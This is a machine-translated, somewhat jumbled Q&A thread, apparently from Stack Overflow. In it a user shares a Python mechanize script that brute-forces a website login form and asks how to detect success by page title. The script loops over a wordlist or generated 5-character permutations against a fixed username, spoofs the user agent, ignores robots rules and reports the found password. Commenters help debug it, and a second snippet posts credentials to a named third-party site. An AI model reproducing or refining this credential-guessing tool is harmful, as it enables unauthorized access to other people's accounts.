私はこのブルートフォーススクリプトを持っています。私のサンプルサイトのWebフォームが正常にログインしたときに同じURLにリダイレクトするとします。たとえば、ログインするには、このサイトに行く必要があります:https://example.com/account/、間違ったユーザー名/パスワードを入力すると、ページのURLは変更されません。すべてが同じままです。正しいユーザー名&を入力すると、ページタイトルは変更されますが、URLは変わりません。Python - mechanize/requests getタイトル
私は変更したい:response.geturl() --> response.gettitle()
しかし、私はこれのための正しい属性がわからない。
マイコード:
import requests
data ={"login":"yourlogin",
"pass": "yourpass"}
r = requests.post("https://bagar.io/engine/modules/login.php", data=data)
print("success" in r.json())
ログインに成功戻り{u'success': u'allow'}
と失敗リターン{u'error':lot of unicode...}
:
#!/usr/bin/python
import mechanize
import itertools
import sys
import os
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
ua = 'Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 (compatible;)'
br.addheaders = [('User-Agent', ua), ('Accept', '*/*')]
if len(sys.argv) > 1:
if os.path.exists(sys.argv[1]):
combos = [line.strip() for line in open(sys.argv[1])]
else:
print "[-] File not found"
sys.exit()
else:
combos = itertools.permutations("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",5)
r = br.open("https://example.com/account/")
for x in combos:
br.select_form(nr = 0)
br.form['login'] = "my_username"
br.form['pass'] = ''.join(x)
print "\033[1;33;48mChecking:"+"\033[1;34;48m",br.form['pass']
response = br.submit()
if response.geturl()=="https://example.com/account/":
#if response.gettitle()==...
print ""
print "\033[1;32;48mPassword found:"+"\033[1;36;48m",''.join(x)
break
'response.title()'? – Arpan
動作しません:AttributeError:closeable_responseインスタンスに属性 'title'がありません –
http://stackoverflow.com/questions/11531958/verifying-br-submit-using-pythons-mechanize-moduleをご覧ください – Arpan